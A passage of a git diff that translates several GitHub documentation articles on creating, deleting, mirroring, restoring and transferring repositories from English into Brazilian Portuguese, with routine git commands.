 2. Para clonar seu repositório usando a linha de comando usando HTTPS, em "Configuração rápida", clique no {% octicon "clippy" aria-label="The clipboard icon" %}. Para clonar o repositório usando uma chave SSH, incluindo um certificado emitido pela autoridade de certificação SSH da sua organização, clique em **SSH** e, em seguida, clique em {% octicon "clippy" aria-label="The clipboard icon" %}. ![Botão da URL para clonar o repositório vazio](/assets/images/help/repository/empty-https-url-clone-button.png)
diff --git a/translations/pt-BR/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md b/translations/pt-BR/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
index a8a463dce3..e0fe145e5b 100644
--- a/translations/pt-BR/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
+++ b/translations/pt-BR/content/repositories/creating-and-managing-repositories/creating-a-new-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a new repository
-intro: You can create a new repository on your personal account or any organization where you have sufficient permissions.
+title: Criar um repositório
+intro: Você pode criar um repositório na sua conta pessoal ou em qualquer organização onde tenha permissões suficientes.
 redirect_from:
   - /creating-a-repo
   - /articles/creating-a-repository-in-an-organization
@@ -19,41 +19,39 @@ versions:
 topics:
   - Repositories
 ---
+
 {% tip %}
 
-**Tip:** Owners can restrict repository creation permissions in an organization. For more information, see "[Restricting repository creation in your organization](/articles/restricting-repository-creation-in-your-organization)."
+**Dica:** os proprietários podem restringir as permissões de criação de repositório em uma organização. Para obter mais informações, consulte "[Restringir a criação de repositórios na organização](/articles/restricting-repository-creation-in-your-organization)".
 
 {% endtip %}
 
 {% ifversion fpt or ghae or ghes or ghec %}
 {% tip %}
 
-**Tip**: You can also create a repository using the {% data variables.product.prodname_cli %}. For more information, see "[`gh repo create`](https://cli.github.com/manual/gh_repo_create)" in the {% data variables.product.prodname_cli %} documentation.
+**Dica**: Você também pode criar um repositório usando o {% data variables.product.prodname_cli %}. Para obter mais informações, consulte "[`criar repositório gh`](https://cli.github.com/manual/gh_repo_create)" na documentação do {% data variables.product.prodname_cli %}.
 
 {% endtip %}
 {% endif %}
 
 {% data reusables.repositories.create_new %}
-2. Optionally, to create a repository with the directory structure and files of an existing repository, use the **Choose a template** drop-down and select a template repository. You'll see template repositories that are owned by you and organizations you're a member of or that you've used before. For more information, see "[Creating a repository from a template](/articles/creating-a-repository-from-a-template)."
-  ![Template drop-down menu](/assets/images/help/repository/template-drop-down.png){% ifversion fpt or ghae or ghes or ghec %}
-3. Optionally, if you chose to use a template, to include the directory structure and files from all branches in the template, and not just the default branch, select **Include all branches**.
-    ![Include all branches checkbox](/assets/images/help/repository/include-all-branches.png){% endif %}
-3. In the Owner drop-down, select the account you wish to create the repository on.
-   ![Owner drop-down menu](/assets/images/help/repository/create-repository-owner.png)
+2. Se desejar, para criar um repositório com a estrutura de diretório e arquivos de um repositório existente, use o menu suspenso **Choose a template** (Escolher um modelo) e selecione um repositório de modelo. Você verá repositórios de modelo que pertencem a você e às organizações das quais você é integrante ou que usou antes. Para obter mais informações, consulte "[Criar um repositório a partir de um modelo](/articles/creating-a-repository-from-a-template)". ![Template drop-down menu](/assets/images/help/repository/template-drop-down.png){% ifversion fpt or ghae or ghes or ghec %}
+3. Opcionalmente, se você escolheu usar um modelo para incluir a estrutura do diretório e arquivos de todos os branches no modelo, e não apenas o branch-padrão, selecione **Incluir todos os branches**. ![Include all branches checkbox](/assets/images/help/repository/include-all-branches.png){% endif %}
+3. No menu suspenso Proprietário, selecione a conta na qual deseja criar o repositório.![Menu suspenso Owner (Proprietário)](/assets/images/help/repository/create-repository-owner.png)
 {% data reusables.repositories.repo-name %}
 {% data reusables.repositories.choose-repo-visibility %}
-6. If you're not using a template, there are a number of optional items you can pre-populate your repository with. If you're importing an existing repository to {% data variables.product.product_name %}, don't choose any of these options, as you may introduce a merge conflict. You can add or create new files using the user interface or choose to add new files using the command line later. For more information, see "[Importing a Git repository using the command line](/articles/importing-a-git-repository-using-the-command-line/)," "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)," and "[Addressing merge conflicts](/articles/addressing-merge-conflicts/)."
-    - You can create a README, which is a document describing your project. For more information, see "[About READMEs](/articles/about-readmes/)."
-    - You can create a *.gitignore* file, which is a set of ignore rules. For more information, see "[Ignoring files](/github/getting-started-with-github/ignoring-files)."{% ifversion fpt or ghec %}
-    - You can choose to add a software license for your project. For more information, see "[Licensing a repository](/articles/licensing-a-repository)."{% endif %}
+6. Se você não estiver usando um modelo, haverá um número de itens opcionais com os quais você pode preencher previamente o seu repositório. Se for importar um repositório existente para o {% data variables.product.product_name %}, não escolha qualquer uma destas opções, pois isso poderá criar um conflito de merge. É possível adicionar ou criar arquivos usando a interface de usuário ou optar por adicionar novos arquivos posteriormente usando a linha de comando. Para obter mais informações, consulte "[Importando um repositório do Git usando a linha de comando](/articles/importing-a-git-repository-using-the-command-line/), , "[Adicionando um arquivo a um repositório](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)" e "[Resolvendo conflitos de merge](/articles/addressing-merge-conflicts/)".
+    - Você pode criar um README, que é um documento que descreve seu projeto. Para obter mais informações, consulte "[Sobre arquivos README](/articles/about-readmes/)".
+    - Você pode criar um arquivo *.gitignore*, que é um conjunto de regras com instruções para ignorar. Para obter mais informações, consulte "[Ignorar arquivos](/github/getting-started-with-github/ignoring-files)".{% ifversion fpt or ghec %}
+    - Você pode optar por adicionar uma licença de software para seu projeto. Para obter mais informações, consulte "[Licenciar um repositório](/articles/licensing-a-repository)".{% endif %}
 {% data reusables.repositories.select-marketplace-apps %}
 {% data reusables.repositories.create-repo %}
 {% ifversion fpt or ghec %}
-9. At the bottom of the resulting Quick Setup page, under "Import code from an old repository", you can choose to import a project to your new repository. To do so, click **Import code**.
+9. Na parte inferior da página Configuração rápida resultante, em "Import code from an old repository" (Importar código de um repositório antigo), você pode optar por importar um projeto para o novo repositório. Para isso, clique em **Import code** (Importar código).
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Managing access to your organization's repositories](/articles/managing-access-to-your-organization-s-repositories)"
-- [Open Source Guides](https://opensource.guide/){% ifversion fpt or ghec %}
+- "[Gerenciar acessos aos repositórios da organização](/articles/managing-access-to-your-organization-s-repositories)"
+- [Guias de código aberto](https://opensource.guide/){% ifversion fpt or ghec %}
 - [{% data variables.product.prodname_learning %}]({% data variables.product.prodname_learning_link %}){% endif %}
diff --git a/translations/pt-BR/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md b/translations/pt-BR/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
index e5428dc4c8..b9d3e8ef60 100644
--- a/translations/pt-BR/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
+++ b/translations/pt-BR/content/repositories/creating-and-managing-repositories/creating-an-issues-only-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Creating an issues-only repository
-intro: '{% data variables.product.product_name %} does not provide issues-only access permissions, but you can accomplish this using a second repository which contains only the issues.'
+title: Criar um repositório somente com problemas
+intro: 'O {% data variables.product.product_name %} não fornece permissões de acesso somente a problemas, mas você pode fazer isso usando um segundo repositório que contenha apenas os problemas.'
 redirect_from:
   - /articles/issues-only-access-permissions
   - /articles/is-there-issues-only-access-to-organization-repositories
@@ -14,13 +14,14 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Issues-only repository
+shortTitle: Repositório exclusivo para problemas
 ---
-1. Create a **private** repository to host the source code from your project.
-2. Create a second repository with the permissions you desire to host the issue tracker.
-3. Add a README file to the issues repository explaining the purpose of this repository and linking to the issues section.
-4. Set your collaborators or teams to give access to the repositories as you desire.
 
-Users with write access to both can reference and close issues back and forth across the repositories, but those without the required permissions will see references that contain a minimum of information.
+1. Crie um repositório **privado** para hospedar o código-fonte do seu projeto.
+2. Crie um segundo repositório com as permissões que deseja para hospedar o rastreador de problema.
+3. Adicione um arquivo README ao repositório de problemas explicando a finalidade desse repositório e vinculando-o à seção de problemas.
+4. Defina colaboradores ou equipes para fornecer acesso aos repositórios conforme desejado.
 
-For example, if you pushed a commit to the private repository's default branch with a message that read `Fixes organization/public-repo#12`, the issue would be closed, but only users with the proper permissions would see the cross-repository reference indicating the commit that closed the issue. Without the permissions, a reference still appears, but the details are omitted.
+Os usuários com acesso de gravação a ambos podem fazer referência e fechar problemas nos repositórios, mas aqueles sem as permissões necessárias verão referências que contêm informações mínimas.
+
+Por exemplo, se você fizesse push de um commit no branch padrão do repositório privado com a mensagem `Fixes organization/public-repo#12`, o problema seria fechado, mas apenas os usuários com as permissões adequadas veriam a referência entre repositórios indicando o commit que fechou o problema. Sem as permissões, uma referência continua aparecendo, mas os detalhes são omitidos.
diff --git a/translations/pt-BR/content/repositories/creating-and-managing-repositories/deleting-a-repository.md b/translations/pt-BR/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
index f9f2013c0c..4019980bb5 100644
--- a/translations/pt-BR/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
+++ b/translations/pt-BR/content/repositories/creating-and-managing-repositories/deleting-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a repository
-intro: You can delete any repository or fork if you're either an organization owner or have admin permissions for the repository or fork. Deleting a forked repository does not delete the upstream repository.
+title: Excluir um repositório
+intro: Você poderá excluir qualquer repositório ou bifurcação se for proprietário da organização ou tiver permissões de administrador para o repositório ou a bifurcação. A exclusão de um repositório bifurcado não elimina o repositório upstream.
 redirect_from:
   - /delete-a-repo
   - /deleting-a-repo
@@ -15,26 +15,25 @@ versions:
 topics:
   - Repositories
 ---
-{% data reusables.organizations.owners-and-admins-can %} delete an organization repository. If **Allow members to delete or transfer repositories for this organization** has been disabled, only organization owners can delete organization repositories. {% data reusables.organizations.new-repo-permissions-more-info %}
 
-{% ifversion not ghae %}Deleting a public repository will not delete any forks of the repository.{% endif %}
+Os {% data reusables.organizations.owners-and-admins-can %} excluem um repositório da organização. Se a opção **Allow members to delete or transfer repositories for this organization** (Permitir que os integrantes excluam ou transfiram repositórios desta organização) tiver sido desabilitada, somente proprietários da organização poderão excluir repositórios da organização. {% data reusables.organizations.new-repo-permissions-more-info %}
+
+{% ifversion not ghae %}Excluir um repositório público não excluirá nenhuma bifurcação do repositório.{% endif %}
 
 {% warning %}
 
-**Warnings**:
+**Avisos**:
 
-- Deleting a repository will **permanently** delete release attachments and team permissions. This action **cannot** be undone.
-- Deleting a private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository will delete all forks of the repository.
+- Excluir um repositório irá excluir **permanentemente** anexos da versão e permissões da equipe. Esta ação **não pode** ser desfeita.
+- Excluir um{% ifversion ghes or ghec or ghae %} privado ou um repositório{% endif %} interno irá excluir todas as bifurcações do repositório.
 
 {% endwarning %}
 
-Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %}
+Alguns repositórios excluídos podem ser restaurados dentro de 90 dias de exclusão. {% ifversion ghes or ghae %}O administrador do seu site pode ser capaz de restaurar um repositório excluído para você. Para obter mais informações, consulte "[Restaurar um repositório excluído](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)". {% else %}Para obter mais informações, consulte "[Restaurar um repositório excluído](/articles/restoring-a-deleted-repository)".{% endif %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-2. Under Danger Zone, click **Delete this repository**.
-   ![Repository deletion button](/assets/images/help/repository/repo-delete.png)
-3. **Read the warnings**.
-4. To verify that you're deleting the correct repository, type the name of the repository you want to delete.
-   ![Deletion labeling](/assets/images/help/repository/repo-delete-confirmation.png)
-5. Click **I understand the consequences, delete this repository**.
+2. Em Danger Zone (Zona de perigo), clique em **Delete this repository** (Excluir este repositório). ![Botão Repository deletion (Exclusão de repositório)](/assets/images/help/repository/repo-delete.png)
+3. **Leia os avisos**.
+4. Digite o nome do repositório que deseja excluir para verificar se está eliminando o correto. ![Etiquetagem de exclusão](/assets/images/help/repository/repo-delete-confirmation.png)
+5. Clique em **I understand the consequences, delete this repository** (Entendi as consequências; exclua este repositório).
diff --git a/translations/pt-BR/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md b/translations/pt-BR/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md
index 0cbb49c85b..90cac7fee2 100644
--- a/translations/pt-BR/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md
+++ b/translations/pt-BR/content/repositories/creating-and-managing-repositories/duplicating-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Duplicating a repository
-intro: 'To maintain a mirror of a repository without forking it, you can run a special clone command, then mirror-push to the new repository.'
+title: Duplicar um repositório
+intro: 'Para manter um espelho de um repositório sem a bifurcação, é possível executar um comando especial de clone e, em seguida, fazer push do espelho para o novo repositório.'
 redirect_from:
   - /articles/duplicating-a-repo
   - /articles/duplicating-a-repository
@@ -14,91 +14,92 @@ versions:
 topics:
   - Repositories
 ---
-{% ifversion fpt or ghec %} 
+
+{% ifversion fpt or ghec %}
 
 {% note %}
 
-**Note:** If you have a project hosted on another version control system, you can automatically import your project to {% data variables.product.prodname_dotcom %} using the {% data variables.product.prodname_dotcom %} Importer tool. For more information, see "[About {% data variables.product.prodname_dotcom %} Importer](/github/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer)."
+**Observação:** Se você tem um projeto hospedado em outro sistema de controle de versão, você poderá importar automaticamente seu projeto para {% data variables.product.prodname_dotcom %} usando a ferramenta Importador de {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Sobre o importador de {% data variables.product.prodname_dotcom %}](/github/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer)."
 
 {% endnote %}
 
 {% endif %}
 
-Before you can push the original repository to your new copy, or _mirror_, of the repository, you must [create the new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. In these examples, `exampleuser/new-repository` or `exampleuser/mirrored` are the mirrors.
+Antes de fazer push do repositório original para sua nova cópia ou _espelho_ do repositório, você deverá [criar o novo repositório](/articles/creating-a-new-repository) em {% data variables.product.product_location %}. Nesses exemplos, `exampleuser/new-repository` ou `exampleuser/mirrored` são os espelhos.
 
-## Mirroring a repository
+## Espelhar um repositório
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Create a bare clone of the repository.
+2. Crie um clone bare do repositório.
   ```shell
   $ git clone --bare https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>old-repository</em>.git
   ```
-3. Mirror-push to the new repository.
+3. Faça espelhamento/push no novo repositório.
   ```shell
   $ cd <em>old-repository</em>
   $ git push --mirror https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>new-repository</em>.git
   ```
-4. Remove the temporary local repository you created earlier.
+4. Remova o repositório local temporário que você criou anteriormente.
   ```shell
   $ cd ..
   $ rm -rf <em>old-repository</em>
   ```
 
-## Mirroring a repository that contains {% data variables.large_files.product_name_long %} objects
+## Espelhar um repositório que contém objetos do {% data variables.large_files.product_name_long %}
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Create a bare clone of the repository. Replace the example username with the name of the person or organization who owns the repository, and replace the example repository name with the name of the repository you'd like to duplicate.
+2. Crie um clone bare do repositório. Substitua o exemplo de nome de usuário pelo nome da pessoa ou da organização a quem pertence o repositório e substitua o exemplo de nome de repositório pelo nome do repositório que você deseja duplicar.
   ```shell
   $ git clone --bare https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>old-repository</em>.git
   ```
-3. Navigate to the repository you just cloned.
+3. Navegue até o repositório que você acabou de clonar.
   ```shell
   $ cd <em>old-repository</em>
   ```
-4. Pull in the repository's {% data variables.large_files.product_name_long %} objects.
+4. Extraia os objetos do {% data variables.large_files.product_name_long %} do repositório.
   ```shell
   $ git lfs fetch --all
   ```
-5. Mirror-push to the new repository.
+5. Faça espelhamento/push no novo repositório.
   ```shell
   $ git push --mirror https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>new-repository</em>.git
   ```
-6. Push the repository's {% data variables.large_files.product_name_long %} objects to your mirror.
+6. Faça push nos objetos do {% data variables.large_files.product_name_long %} do repositório no seu espelho.
   ```shell
   $ git lfs push --all https://github.com/<em>exampleuser/new-repository.git</em>
   ```
-7. Remove the temporary local repository you created earlier.
+7. Remova o repositório local temporário que você criou anteriormente.
   ```shell
   $ cd ..
   $ rm -rf <em>old-repository</em>
   ```
 
-## Mirroring a repository in another location
+## Espelhar um repositório em outro local
 
-If you want to mirror a repository in another location, including getting updates from the original, you can clone a mirror and periodically push the changes.
+Se você deseja espelhar um repositório em outro local e ainda obter atualizações do original, é possível clonar um espelho e fazer push das alterações periodicamente.
 
 {% data reusables.command_line.open_the_multi_os_terminal %}
-2. Create a bare mirrored clone of the repository.
+2. Crie um clone bare espelhado do repositório.
   ```shell
   $ git clone --mirror https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>repository-to-mirror</em>.git
   ```
-3. Set the push location to your mirror.
+3. Defina o local de push no espelho.
   ```shell
   $ cd <em>repository-to-mirror</em>
   $ git remote set-url --push origin https://{% data variables.command_line.codeblock %}/<em>exampleuser</em>/<em>mirrored</em>
   ```
-As with a bare clone, a mirrored clone includes all remote branches and tags, but all local references will be overwritten each time you fetch, so it will always be the same as the original repository. Setting the URL for pushes simplifies pushing to your mirror.
+Assim como um clone bare, um clone espelhado inclui todos os branches remotes e tags, mas todas as referências locais serão substituídas todas as vezes que você fizer fetch, assim ele sempre será o mesmo do repositório original. O push no espelho é simplificado pela configuração da URL para pushes.
 
-4. To update your mirror, fetch updates and push.
+4. Para atualizar o espelho, obtenha atualizações e faça push.
   ```shell
   $ git fetch -p origin
   $ git push --mirror
   ```
-{% ifversion fpt or ghec %} 
-## Further reading
+{% ifversion fpt or ghec %}
+## Leia mais
 
-* "[Pushing changes to GitHub](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github#pushing-changes-to-github)"
-* "[About Git Large File Storage and GitHub Desktop](/desktop/getting-started-with-github-desktop/about-git-large-file-storage-and-github-desktop)"
-* "[About GitHub Importer](/github/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer)"
+* "[Enviando por push as alterações para o GitHub](/desktop/contributing-and-collaborating-using-github-desktop/making-changes-in-a-branch/pushing-changes-to-github#pushing-changes-to-github)"
+* "[Sobre o armazenamento de arquivos grandes do Git e do GitHub Desktop](/desktop/getting-started-with-github-desktop/about-git-large-file-storage-and-github-desktop)"
+* "[Sobre o Importador do GitHub](/github/importing-your-projects-to-github/importing-source-code-to-github/about-github-importer)"
 
 {% endif %}
diff --git a/translations/pt-BR/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md b/translations/pt-BR/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md
index 887b5033e6..93b661d82d 100644
--- a/translations/pt-BR/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md
+++ b/translations/pt-BR/content/repositories/creating-and-managing-repositories/restoring-a-deleted-repository.md
@@ -50,5 +50,5 @@ Restaurar um repositório não vai restaurar anexos de versão nem permissões d
 - "[Excluir um repositório](/articles/deleting-a-repository)"
 
 {% else %}
-Usually, deleted repositories can be restored within 90 days by a {% data variables.product.prodname_enterprise %} site administrator. Para obter mais informações, consulte "[Restaurar um repositório excluído](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)".
+Normalmente, repositórios excluídos podem ser restaurados dentro de 90 dias por um administrador do site {% data variables.product.prodname_enterprise %}. Para obter mais informações, consulte "[Restaurar um repositório excluído](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)".
 {% endif %}
diff --git a/translations/pt-BR/content/repositories/creating-and-managing-repositories/transferring-a-repository.md b/translations/pt-BR/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
index 82edf7150d..794ec47de6 100644
--- a/translations/pt-BR/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
+++ b/translations/pt-BR/content/repositories/creating-and-managing-repositories/transferring-a-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Transferring a repository
-intro: You can transfer repositories to other users or organization accounts.
+title: Transferir um repositório
+intro: É possível transferir repositórios para outros usuários ou contas da organização.
 redirect_from:
   - /articles/about-repository-transfers
   - /move-a-repo
@@ -22,60 +22,61 @@ versions:
 topics:
   - Repositories
 ---
-## About repository transfers
 
-When you transfer a repository to a new owner, they can immediately administer the repository's contents, issues, pull requests, releases, project boards, and settings.
+## Sobre transferências de repositório
 
-Prerequisites for repository transfers: 
-- When you transfer a repository that you own to another user account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. If the new owner doesn't accept the transfer within one day, the invitation will expire.{% endif %}
-- To transfer a repository that you own to an organization, you must have permission to create a repository in the target organization.
-- The target account must not have a repository with the same name, or a fork in the same network.
-- The original owner of the repository is added as a collaborator on the transferred repository. Other collaborators to the transferred repository remain intact.{% ifversion ghec or ghes or ghae %}
-- Internal repositories can't be transferred.{% endif %}
-- Private forks can't be transferred.
+Quando você transfere um repositório para um novo proprietário, ele pode administrar imediatamente o conteúdo do repositório, além de problemas, pull requests, versões, quadros de projeto e configurações.
 
-{% ifversion fpt or ghec %}If you transfer a private repository to a {% data variables.product.prodname_free_user %} user or organization account, the repository will lose access to features like protected branches and {% data variables.product.prodname_pages %}. {% data reusables.gated-features.more-info %}{% endif %}
+Pré-requisitos para transferências no repositório:
+- Ao transferir um repositório que possui para outra conta de usuário, o novo proprietário receberá um e-mail de confirmação.{% ifversion fpt or ghec %} O e-mail de confirmação inclui instruções para aceitar a transferência. Se o novo proprietário não aceitar a transferência em um dia, o convite vai expirar.{% endif %}
+- Para transferir um repositório que você possui para uma organização, é preciso ter permissão para criar um repositório na organização de destino.
+- A conta de destino não deve ter um repositório com o mesmo nome ou uma bifurcação na mesma rede.
+- O proprietário original do repositório é adicionado como colaborador no repositório transferido. Outros colaboradores no repositório transferido permanecem intactos.{% ifversion ghec or ghes or ghae %}
+- Os repositórios internos não podem ser transferidos.{% endif %}
+- Bifurcações privadas não podem ser transferidas.
 
-### What's transferred with a repository?
+{% ifversion fpt or ghec %}Se você transferir um repositório privado para uma conta de usuário ou organização {% data variables.product.prodname_free_user %}, o repositório perderá o acesso a recursos como branches protegidos e {% data variables.product.prodname_pages %}. {% data reusables.gated-features.more-info %}{% endif %}
 
-When you transfer a repository, its issues, pull requests, wiki, stars, and watchers are also transferred. If the transferred repository contains webhooks, services, secrets, or deploy keys, they will remain associated after the transfer is complete. Git information about commits, including contributions, is preserved. In addition:
+### O que é transferido com um repositório?
 
-- If the transferred repository is a fork, then it remains associated with the upstream repository.
-- If the transferred repository has any forks, then those forks will remain associated with the repository after the transfer is complete.
-- If the transferred repository uses {% data variables.large_files.product_name_long %}, all {% data variables.large_files.product_name_short %} objects are automatically moved. This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. For more information on adding storage for user accounts, see "[Upgrading {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)."{% endif %}
-- When a repository is transferred between two user accounts, issue assignments are left intact. When you transfer a repository from a user account to an organization, issues assigned to members in the organization remain intact, and all other issue assignees are cleared. Only owners in the organization are allowed to create new issue assignments. When you transfer a repository from an organization to a user account, only issues assigned to the repository's owner are kept, and all other issue assignees are removed.
-- If the transferred repository contains a {% data variables.product.prodname_pages %} site, then links to the Git repository on the Web and through Git activity are redirected. However, we don't redirect {% data variables.product.prodname_pages %} associated with the repository.
-- All links to the previous repository location are automatically redirected to the new location. When you use `git clone`, `git fetch`, or `git push` on a transferred repository, these commands will redirect to the new repository location or URL. However, to avoid confusion, we strongly recommend updating any existing local clones to point to the new repository URL. You can do this by using `git remote` on the command line:
+Quando você transfere um repositório, também são transferidos problemas, pull requests, wiki, estrelas e inspetores dele. Se o repositório transferido contiver webhooks, serviços, segredos ou chaves de implantação, eles continuarão associados mesmo depois que a transferência for concluída. Informações do Git sobre commits, inclusive contribuições, são preservadas. Além disso:
+
+- Se o repositório transferido for uma bifurcação, continuará associado ao repositório upstream.
+- Se o repositório transferido tiver alguma bifurcação, ela permanecerá associada ao repositório depois que a transferência for concluída.
+- Se o repositório transferido usar {% data variables.large_files.product_name_long %}, todos os objetos {% data variables.large_files.product_name_short %} serão automaticamente movidos. Esta transferência ocorre em segundo plano. Portanto, se você tiver um número grande de objetos de {% data variables.large_files.product_name_short %} ou se os próprios objetos de {% data variables.large_files.product_name_short %} forem grandes, poderá levar um tempo para realizar a transferência.{% ifversion fpt or ghec %} Antes de transferir um repositório que usa {% data variables.large_files.product_name_short %}, certifique-se de que a conta de recebimento tenha pacotes de dados suficientes para armazenar os objetos de {% data variables.large_files.product_name_short %} que você vai se transferir. Para obter mais informações sobre como adicionar armazenamento para contas de usuário, consulte "[Atualizar {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)".{% endif %}
+- Quando um repositório é transferido entre duas contas de usuário, as atribuições de problemas são mantidas intactas. Quando você transfere um repositório de uma conta de usuário para uma organização, os problemas atribuídos a integrantes da organização permanecem intactos, e todos os outros responsáveis por problemas são destituídos. Somente proprietários da organização têm permissão para criar novas atribuições de problemas. Quando você transfere um repositório de uma organização para uma conta de usuário, são mantidos somente os problemas atribuídos ao proprietário do repositório. Todos os outros responsáveis por problemas são removidos.
+- Se o repositório transferido contiver um site do {% data variables.product.prodname_pages %}, os links para o repositório do Git na web e por meio de atividade do Git serão redirecionados. No entanto, não redirecionamos o {% data variables.product.prodname_pages %} associado ao repositório.
+- Todos os links para o local do repositório anterior são automaticamente redirecionados para o novo local. Quando você usar `git clone`, `git fetch` ou `git push` em um repositório transferido, esses comandos serão redirecionados para a nova URL ou local do repositório. No entanto, para evitar confusão, recomendamos que qualquer clone local seja atualizado para apontar para a nova URL do repositório. Use `git remote` na linha de comando para fazer isso:
 
   ```shell
   $ git remote set-url origin <em>new_url</em>
   ```
 
-- When you transfer a repository from an organization to a user account, the repository's read-only collaborators will not be transferred. This is because collaborators can't have read-only access to repositories owned by a user account. For more information about repository permission levels, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+- Quando você transfere um repositório de uma organização para uma conta de usuário, os colaboradores somente leitura do repositório não serão transferidos. Isso acontece porque os colaboradores não podem ter acesso somente leitura a repositórios pertencentes a uma conta de usuário. Para obter mais informações, consulte "[Níveis de permissão para um repositório de conta de usuário](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" e "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
-For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+Para obter mais informações, consulte "[Gerenciar repositórios remotos](/github/getting-started-with-github/managing-remote-repositories)".
 
-### Repository transfers and organizations
+### Transferências de repositório e organizações
 
-To transfer repositories to an organization, you must have repository creation permissions in the receiving organization. If organization owners have disabled repository creation by organization members, only organization owners can transfer repositories out of or into the organization.
+Para transferir repositórios para uma organização, é preciso ter permissões de criação de repositórios na organização recebedora. Se os proprietários da organização tiverem desabilitado a criação de repositórios por integrantes da organização, somente proprietários da organização poderão transferir repositórios dentro ou fora da organização.
 
-Once a repository is transferred to an organization, the organization's default repository permission settings and default membership privileges will apply to the transferred repository.
+Depois que um repositório for transferido para uma organização, os privilégios de associação padrão e as configurações padrão de permissão de repositório da organização se aplicarão ao repositório transferido.
 
-## Transferring a repository owned by your user account
+## Transferir um repositório pertencente à sua conta de usuário
 
-You can transfer your repository to any user account that accepts your repository transfer. When a repository is transferred between two user accounts, the original repository owner and collaborators are automatically added as collaborators to the new repository.
+É possível transferir seu repositório para qualquer conta de usuário que aceite transferência de repositório. Quando um repositório é transferido entre duas contas de usuário, o proprietário e os colaboradores do repositório original são automaticamente adicionados como colaboradores ao novo repositório.
 
-{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %}
+{% ifversion fpt or ghec %}Se você publicou um site {% data variables.product.prodname_pages %} em um repositório privado e adicionou um domínio personalizado, antes de transferir o repositório, você deverá remover ou atualizar seus registros DNS para evitar o risco de tomada de um domínio. Para obter mais informações, consulte "[Gerenciar um domínio personalizado para seu site do {% data variables.product.prodname_pages %}](/articles/managing-a-custom-domain-for-your-github-pages-site)".{% endif %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.transfer-repository-steps %}
 
-## Transferring a repository owned by your organization
+## Transferir um repositório pertencente à organização
 
-If you have owner permissions in an organization or admin permissions to one of its repositories, you can transfer a repository owned by your organization to your user account or to another organization.
+Se você tiver permissões de proprietário em uma organização ou permissões de administrador para um dos repositórios dela, será possível transferir um repositório pertencente à organização para sua conta de usuário ou para outra organização.
 
-1. Sign into your user account that has admin or owner permissions in the organization that owns the repository.
